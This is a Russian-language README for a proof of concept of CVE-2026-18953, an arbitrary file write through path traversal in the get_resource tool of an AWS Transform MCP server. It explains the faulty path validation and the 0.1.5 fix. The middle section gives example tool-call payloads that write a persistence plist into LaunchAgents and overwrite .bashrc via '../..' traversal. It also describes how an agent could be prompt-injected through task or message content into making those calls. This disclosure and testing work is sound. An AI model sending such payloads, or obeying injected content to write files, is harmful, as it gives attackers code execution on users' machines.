
PoC для CVE-2026-18953 — произвольная запись файла (CWE-22) в инструменте get_resource сервера awslabs.aws-transform-mcp-server через параметр savePath
| CVE | CVE-2026-18953 |
| CWE | CWE-22 — Некорректное ограничение пути к каталогу |
| Затронутые версии | awslabs.aws-transform-mcp-server 0.1.0 – 0.1.4 |
| Исправлено в | 0.1.5 |
| CVSS v3.1 | 8.6 ВЫСОКИЙ — AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| CVSS v4.0 | 6.3 СРЕДНИЙ — AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
| Рекомендация | GHSA-66mr-jr63-2jgw |
| Бюллетень | AWS Security Bulletin 2026-075 |
| Автор отчёта | Drew Raines (координированное раскрытие) |
| Опубликовано | 2026-08-05 |
get_resource(resource="artifact" | "asset", ...) загружает файл с предварительно подписанного S3 URL и, когда вызывающий код передаёт savePath / fileName, сохраняет его на локальный диск через:
tools/get_resource.py -> tool_utils.download_s3_content()
-> file_validation.validate_write_path()
В версиях <= 0.1.4 функция validate_write_path() делает лишь следующее:
save_path с помощью os.path.realpath(os.path.expanduser(...)).~/.aws, ~/.ssh, ~/.gnupg, ~/.docker, ~/.aws-transform-mcp, /etc/shadow, /etc/passwd).file_name с помощью os.path.basename().Она никогда не ограничивает вычисленный каталог какой-либо базовой/рабочей директорией, а BLOCKED_FILENAMES (.bashrc, .zshrc, authorized_keys, id_rsa, …) применяется только при чтении, но не при записи. Поэтому любой MCP-клиент этого сервера — включая агента, подвергнутого косвенной промпт-инъекции через недоверенное содержимое заданий/задач/сообщений, получаемое им через этот же инструмент, — может задать savePath как абсолютный путь, обход через ../.. или имя чувствительного dotfile-файла, и сервер запишет туда байты, контролируемые атакующим. Это примитив записи файла за пределами каталога, в котором, как полагает оператор, ограничены загрузки; в рекомендации отмечается, что это «может привести к локальному выполнению кода» (например, к перезаписи стартового файла оболочки).
В 0.1.5 это исправлено: добавлена явная базовая директория из списка разрешённых (_ALLOWED_WRITE_BASE, берётся из $AWS_TRANSFORM_MCP_WRITE_DIR или рабочего каталога сервера при запуске), в которую должен входить каждый вычисленный путь записи, а также BLOCKED_FILENAMES теперь применяется к итоговому вычисленному пути записи.
Полный diff, показывающий первопричину: vendor/0.1.4-vulnerable/file_validation.py против vendor/0.1.5-fixed/file_validation.py (оба взяты дословно из PyPI / GitHub, Apache-2.0).
MCP-клиент (Q Developer, Kiro, Claude и т.п., подключённый к этому серверу) выполняет вызов инструмента, например:
{
"name": "get_resource",
"arguments": {
"resource": "artifact",
"workspaceId": "ws-...",
"jobId": "job-...",
"artifactId": "art-...",
"savePath": "/Users/victim/Library/LaunchAgents",
"fileName": "com.evil.persist.plist"
}
}
или из относительного sandbox-каталога:
{ "savePath": "../../../../../../Users/victim/.bashrc", "fileName": "x" }
Поскольку инструмент описывает ответы resource="task" как данные, которые агент должен прочитать и на которые должен отреагировать, а содержимое resource="messages" берётся из данных чата/заданий, участнику рабочего пространства (или скомпрометированному вышестоящему источнику заданий/сообщений) не нужно убеждать человека вводить это вручную — достаточно направить уже подключённого агента на вызов get_resource со злонамеренным savePath. Для демонстрации самой уязвимости не требуются реальные учётные данные AWS, поскольку ошибка целиком находится в локальной обработке путей — до и после загрузки из S3.
python3 poc.py
Без сторонних зависимостей, учётной записи AWS и сетевого доступа к AWS. Скрипт:
file_validation.py из версий 0.1.4 и 0.1.5+ (см. vendor/).download_s3_content() с точным потоком управления из оригинального tool_utils.py (httpx заменён на urllib из стандартной библиотеки — ноль зависимостей, та же логика) и использует её точно так же, как это делал бы get_resource.savePath/fileName — выход через абсолютный путь, относительный обход через ../.. и имя dotfile-файла, блокируемое только при чтении, — в уязвимый валидатор, а затем в исправленный.Всё происходит внутри одноразового временного каталога, создаваемого mkdtemp(); ваш настоящий $HOME никогда не затрагивается. Пример вывода:
=== Target: file_validation.py from 0.1.4-vulnerable ===
-> Absolute path escape (no traversal needed at all)
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_absolute_path.sh
-> Relative "../../.." traversal out of the sandbox dir
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_traversal.sh
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/decoy_home/.bashrc
=== Target: file_validation.py from 0.1.5-fixed ===
-> Absolute path escape (no traversal needed at all)
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (...)
-> Relative "../../.." traversal out of the sandbox dir
RESULT: BLOCKED (raised ValueError): ...
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: BLOCKED (raised ValueError): ...
Обновитесь до awslabs.aws-transform-mcp-server >= 0.1.5. Для старых версий не существует обходного решения на стороне сервера; рекомендация советует обновиться. Операторы, которые не могут обновиться немедленно, должны запускать сервер с рабочим каталогом (CWD), установленным на выделенный пустой каталог, и считать любой файл, в который сервер может записать, скомпрометированным.
README.md — this file
poc.py — self-contained PoC driver
vendor/_loguru_shim.py — tiny stand-in for the `loguru` dep (test scaffolding only)
vendor/0.1.4-vulnerable/file_validation.py — real vulnerable source, from PyPI sdist
vendor/0.1.5-fixed/file_validation.py — real patched source, from github.com/awslabs/mcp@main